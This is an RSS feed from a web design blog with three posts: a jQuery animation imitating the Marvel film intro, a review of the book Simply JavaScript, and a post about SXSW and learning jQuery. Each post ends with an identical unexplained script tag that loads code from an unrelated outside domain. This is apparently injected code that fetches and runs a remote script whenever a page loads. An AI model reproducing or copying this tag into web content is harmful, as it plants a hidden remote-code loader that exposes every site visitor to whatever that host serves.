<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Withinsight &#187; JavaScript</title>
	<atom:link href="http://www.withinsightdesign.com/category/javascript/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.withinsightdesign.com</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Sat, 15 May 2010 17:31:40 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Marvel Cinema intro built using only JavaScript</title>
		<link>http://www.withinsightdesign.com/2009/marvel-cinema-intro-built-using-only-javascript/</link>
		<comments>http://www.withinsightdesign.com/2009/marvel-cinema-intro-built-using-only-javascript/#comments</comments>
		<pubDate>Sat, 14 Nov 2009 17:28:39 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Creativity]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Marvel cinema intro]]></category>

		<guid isPermaLink="false">http://www.withinsightdesign.com/?p=145</guid>
		<description><![CDATA[During my recent JavaScript capstone course at Westlake, I got an idea. We were doing an exercise on animation, using things like JavaScript&#8217;s setTimeout and adjusting the CSS clip property on a few divs. For some reason one of the blocks reminded me of the animation at the beginning of all Marvel movies, when it [...]]]></description>
			<content:encoded><![CDATA[<p>During my recent <a href="http://www.westlaketraining.com/html-and-web-programming/300-javascript-dom-capstone.html" target="_blank">JavaScript capstone course</a> at Westlake, I got an idea. We were doing an exercise on animation, using things like JavaScript&#8217;s setTimeout and adjusting the CSS clip property on a few divs. For some reason one of the blocks reminded me of the animation at the beginning of all Marvel movies, when it looks like someone is flipping rapidly through a bunch of comic pages. I envisioned being able to accomplish this animation using only JavaScript.</p>
<p><a href="http://www.youtube.com/watch?v=ZmfiIqzdIbM" target="_blank">Here&#8217;s a sample of the original animation</a>, from the Spider-Man intro. I also found a few samples of other obviously homemade versions of the Marvel intro, like this <a href="http://www.youtube.com/watch?v=8bxaZ4-ZNeU&amp;feature=related" target="_blank">After Effects</a> version.</p>
<p>The below is built using JavaScript only, and relies heavily on jQuery&#8217;s animation effects. There&#8217;s even a cool soundtrack for those with newer browsers (its embedded using HTML 5&#8217;s audio element). The font isn&#8217;t exactly the same, and the music is courtesy of Dredg (everyone go out and pick up &#8220;The Pariah, The Parrot, The Delusion&#8221; right now), but I think its as close as you can get with JS to the original. Click the play button to check it out.</p>
<p>If you&#8217;d like to see a tutorial for how this was accomplished, leave a comment. If I get enough requests, I&#8217;ll put together a how-to.</p>
<p><button>Play</button><br />
<audio src="http://www.withinsightdesign.com/wp-content/themes/withinsightdesign/aud/dredg-long-days.wav"></audio></p>
<div id="gallery">
<h1>Marvel</h1>
<div id="redFade"></div>
<div id="background"></div>
<p><img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel1.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel2.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel3.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel4.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel5.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel6.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel7.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel8.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel9.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel10.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel11.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel12.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel13.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel14.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel15.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel16.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel17.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel18.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel19.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel20.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel21.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel22.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel23.jpg" alt="" /><br />
<img src="http://www.withinsightdesign.com/wp-content/uploads/2009/11/marvel24.jpg" alt="" /></div>
<p><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.withinsightdesign.com/2009/marvel-cinema-intro-built-using-only-javascript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://www.withinsightdesign.com/wp-content/themes/withinsightdesign/aud/dredg-long-days.wav" length="1734214" type="audio/x-wav" />
		</item>
		<item>
		<title>Review: Simply JavaScript by Kevin Yank and Cameron Adams</title>
		<link>http://www.withinsightdesign.com/2009/review-simply-javascript-by-kevin-yank-and-cameron-adams/</link>
		<comments>http://www.withinsightdesign.com/2009/review-simply-javascript-by-kevin-yank-and-cameron-adams/#comments</comments>
		<pubDate>Sun, 12 Apr 2009 14:03:34 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Book Reviews]]></category>
		<category><![CDATA[Dojo]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[MooTools]]></category>
		<category><![CDATA[Prototype]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[YUI]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Cameron Adams]]></category>
		<category><![CDATA[javascript libraries]]></category>
		<category><![CDATA[JavaScript tutorials]]></category>
		<category><![CDATA[Kevin Yank]]></category>

		<guid isPermaLink="false">http://www.withinsightdesign.com/?p=75</guid>
		<description><![CDATA[

Book review of Simply JavaScript by Kevin Yank and Cameron Adams

I read Simply JavaScript a few months back, and couldn&#8217;t help but include it in my reviews here at withinsight.com.  Its simply too good not to.  I&#8217;ve got a decent amount of JavaScript experience, although not necessarily through practice.  JavaScript has always been that part [...]]]></description>
			<content:encoded><![CDATA[<div class="entry">
<div class="hreview">
<h3 class="summary">Book review of Simply JavaScript by Kevin Yank and Cameron Adams</h3>
<div class="description"><a href="http://www.amazon.com/gp/product/0980285801?ie=UTF8&amp;tag=markepanth-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=0980285801" target="_blank"><img class="alignright photo" src="/wp-content/themes/withinsightdesign/i/simply-javascript.jpg" alt="Simply JavaScript by Kevin Yank and Cameron Adams" /></a><img style="border:none !important; margin:0px !important;" src="http://www.assoc-amazon.com/e/ir?t=markepanth-20&amp;l=as2&amp;o=1&amp;a=0980285801" border="0" alt="" width="1" height="1" /></p>
<p>I read <em>Simply JavaScript</em> a few months back, and couldn&#8217;t help but include it in my reviews here at withinsight.com.  Its simply too good not to.  I&#8217;ve got a decent amount of JavaScript experience, although not necessarily through practice.  JavaScript has always been that part of my web design arsenal that I&#8217;ve wanted desperately to add, but has never seemed to work its way into regular usage in my day-to-day work.  You can&#8217;t say its for lack of trying, as I&#8217;ve read the first half of O&#8217;Reilly&#8217;s <em>JavaScript, The Definitive Guide</em>, which while full of great info, is not necessarily the best introduction to JavaScript for the beginning scripter.  I then found <em>DOM Scripting</em> by Jeremy Keith, which offers a very, very introductory level explanation of JavaScript before digging into the basics of <em>DOM Scripting</em>.  I had a decent picture of what else was out there in terms of JavaScript books.</p>
<p>Jeremy Keith is actually the one who <a title="Jeremy Keith's recommendation of Simply JavaScript" href="http://www.domscripting.com/blog/display/105" target="_blank">recommended <em>Simply JavaScript</em> on his website</a> a while back, which is how I originally heard about it.  He stated that his book <em>DOM Scripting</em> was intended for a very specific audience, and that there really weren&#8217;t any other books that did it as well as he does, until <em>Simply JavaScript</em> was released.  Very big of an author to acknowledge the competition with a tip of the hat.</p>
<h3>Meet Your New Friend, JavaScript</h3>
<p>If I could, I would probably go back and start from scratch originally with <em>Simply JavaScript</em>.  It is a perfect introduction for the web designer looking fill out the third leg of the XHTML/CSS/JS stool that we all sit upon.  <a title="Kevin Yank's blog" href="http://www.kevinyank.com/blog/" target="_blank">Yank</a> and <a title="Cameron Adam's homepage" href="http://themaninblue.com/" target="_blank">Adams</a> present the material in a way that anyone with a little XHTML and CSS experience will not only understand, but really find themselves enjoying.  I literally found myself laughing out loud at a few points, such as:</p>
<blockquote><p>The popularity of regular expressions has everything to do with how useful they are, and absolutely nothing to do with how easy they are to use &#8211; they&#8217;re not easy at all. In fact, to most people who encounter them for the first time, regular expressions look like something that might eventuate if you fell asleep with your face on the keyboard.</p></blockquote>
<p>Fantastic!  There are a number of moments like this that brighten up the pages.</p>
<p><em>Simply JavaScript</em> is written in a progressive tutorial format, so you can move through it chapter by chapter, rather than using it as a reference.  The one exception to this is the chapter on &#8220;Errors and Debugging&#8221; which falls fairly late in the book.  I was okay without it for the first few chapters, but once I got into chapters 4, 5 and 6 on events, animation, and form enhancements, respectively, I think I could have done with reading that chapter first.  In chapter 7, they introduce the Firebug Firefox extension, and how to use it to pause the state of JavaScript at selected lines in your code, which I definitely could have used a little earlier in the book while troubleshooting projects.</p>
<h3>JavaScript Libraries Galore</h3>
<p>Another great aspect of <em>Simply JavaScript</em> is how they relate the tutorials completed in each chapter to the respective current JavaScript library.  So if you&#8217;ve heard about all the cool stuff web designers and developers have been doing with libraries like Prototype &amp; script.aculo.us, MooTools, Dojo, jQuery, or Yahoo&#8217;s YUI, but haven&#8217;t been able to find practical uses for any of them in your projects, here&#8217;s where you can make the connection.</p>
<p>Yank &amp; Adams build a very nice core library that you can use to power a few solutions to design problems that have faced web designers for years, like building stripey tables on the fly, or validating form information.  They even get into more advanced topics like animation and AJAX.  Actually, after you read this book, you&#8217;ll probably realize how non-advanced these topics are.  This book truly does make JavaScript simple!</p>
<p>I feel like a lot of JavaScript is like a catch-22 in that until you read a book like this, you have a very limited arsenal.  You may know how to pop open a new window or change the behavior of a few links, but you don&#8217;t truly have a grasp of the potential of what you can accomplish with JavaScript.  Reading a book like <em>Simply JavaScript</em>, even if you don&#8217;t go into all the details and grasp every last concept, at a bare minimum lets you know what you <em>can</em> do, which will help you tremendously in future projects.</p>
<h3>First Impressions Make Such an Impact</h3>
<p>One last thing that I need to mention is the production quality of this book. Sitepoint really went all out.  I&#8217;ve got six Sitepoint books, everything from HTML basics to PHP, and <em>Simply JavaScript</em> is the only one that is full color. In addition to brightening up the pages with color, the footnotes are all located at the bottom of each page.  I was recently reading the O&#8217;Reilly book <em>AJAX Design Patterns</em>, and found it extremely annoying to have to continually skip over URLs in the middle of the text.  Sitepoint places URL footnotes where they should be, at the foot of each page, making it easier to concentrate on the text and code, and reference the footnotes when you want to.</p>
<p>Overall, this is absolutely the best starting point for the beginner JavaScript student, and I would recommend it to any web professional who works with code on a daily basis.  It will teach you to apply the same unobtrusive principles that you hopefully already apply of CSS to XHTML documents, instructing you how to do the same with JavaScript.</p>
<p class="item">You can purchase <em><a class="fn url" href="http://www.amazon.com/gp/product/0980285801?ie=UTF8&amp;tag=markepanth-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=0980285801" target="_blank">Simply JavaScript</a></em><img style="border:none !important; margin:0px !important;" src="http://www.assoc-amazon.com/e/ir?t=markepanth-20&amp;l=as2&amp;o=1&amp;a=0980285801" border="0" alt="" width="1" height="1" /> over at Amazon.com.</p>
<h3>Rating</h3>
<ul class="ratings">
<li class="nine">Overall: <span class="rating"><span class="value">9</span> out of <span class="best">10</span></span></li>
</ul>
</div>
</div>
</div>
<p><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.withinsightdesign.com/2009/review-simply-javascript-by-kevin-yank-and-cameron-adams/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>SXSW and jQuery</title>
		<link>http://www.withinsightdesign.com/2009/sxsw-and-jquery/</link>
		<comments>http://www.withinsightdesign.com/2009/sxsw-and-jquery/#comments</comments>
		<pubDate>Mon, 16 Mar 2009 21:17:51 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Conferences]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Alex King]]></category>
		<category><![CDATA[boagworld]]></category>
		<category><![CDATA[Eric Meyer]]></category>
		<category><![CDATA[javascript libraries]]></category>
		<category><![CDATA[Paul Boag]]></category>
		<category><![CDATA[Prototype]]></category>
		<category><![CDATA[sxsw]]></category>

		<guid isPermaLink="false">http://www.withinsightdesign.com/?p=68</guid>
		<description><![CDATA[So right about now I&#8217;m wishing that if I could be anywhere, it would be at SXSW (South by Southwest).  For those of you who don&#8217;t know, its about the coolest festival on the planet.  And I don&#8217;t know from experience, just from colleagues and coworkers and podcasts and industry moguls giving me an earful.
In [...]]]></description>
			<content:encoded><![CDATA[<p>So right about now I&#8217;m wishing that if I could be anywhere, it would be at <a title="South by Southwest" href="http://sxsw.com/music/shows" target="_blank">SXSW (South by Southwest)</a>.  For those of you who don&#8217;t know, its about the coolest festival on the planet.  And I don&#8217;t know from experience, just from colleagues and coworkers and podcasts and industry moguls giving me an earful.</p>
<p>In addition to being a hotspot for web design, SXSW boasts an impressive musical lineup each year, and this year I&#8217;ll be disappointed that I&#8217;ve missed The Everyday Visuals, Madi Diaz, and the undisputable heavyweight of soul, Miss Erykah Badu.</p>
<p>I&#8217;ve been hearing about it for weeks, from Paul Boag blabbering about it on his <a title="Boagworld.com" href="http://www.boagworld.com/" target="_blank">Boagworld podcast</a>, to having to postpone projects with colleagues who are attending, to CSS guru Eric Meyer tweeting, &#8220;If you&#8217;re not going to SXSW, tweet like you&#8217;re there.  Nobody will know the difference.&#8221;  Yeah, that almost makes up for not being able to attend.</p>
<p>But alas, I am not one to linger, and the time spent here at home has given me the opportunity to start exploring jQuery, which was recommended to me by <a title="Alex King author of WordPress Popularity Contest plugin" href="http://alexking.org/" target="_blank">Alex King</a>, famed author of the <a title="Alex King's WordPress plugins" href="http://alexking.org/projects/wordpress" target="_blank">WordPress Popularity Contest plugin</a>, and another item that Paul Boag has been going on endlessly about for months now.  I finally broke down and downloaded the library and started playing with it.</p>
<p>From my first impressions, Paul has reason to be going on endlessly.  It seems that the potential of what a web designer or developer can accomplish with the JavaScript library is in fact endless.  The first item that caught my eye was the fact that on the jQuery homepage they offer the expanded, developer version of the library, along with the compressed, production version.  I was immediately reminded of the hours I&#8217;ve spent testing the best method to minify, compress and serve my Prototype and Scriptaculous libraries.  jQuery does this for me?  Fantastic.</p>
<p>Second, I was really impressed with the quality and quantity of documentation.  Compared to Prototype, jQuery blows it out of the water in terms of a working online manual.  I think I&#8217;ve officially moved the &#8220;Prototype and script.aculo.us&#8221; book to the back of my &#8220;must read&#8221; list.  I&#8217;ve actually read the first half of it already, but it was cryptic and would have required re-reading on my part to fully absorb the material.  jQuery is the complete opposite.  There are video tutorials explaning the beginner steps.  Video tutorials.</p>
<p>The last thing about jQuery that really hooked me was the ease with which a web designer can pick up the library.  A lot of the arguments you pass to the library are the same as in CSS.  So if you&#8217;re looking for a div with the id of conference, you pass (&#8220;#conference&#8221;) as the argument.</p>
<p>It seems like its going to be really easy to quickly get up to speed with the library, and that it has a lot of power in terms of what you can do with it.  If you&#8217;re interested, check out the <a title="jQuery" href="http://jquery.com/" target="_blank">jQuery site</a>, the <a title="jQuery user interface" href="http://jqueryui.com/" target="_blank">jQuery UI site</a>, as well as some of the <a title="jQuery tutorials" href="http://docs.jquery.com/Tutorials" target="_blank">video tutorials</a>. Really, really, really cool stuff.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.withinsightdesign.com/2009/sxsw-and-jquery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
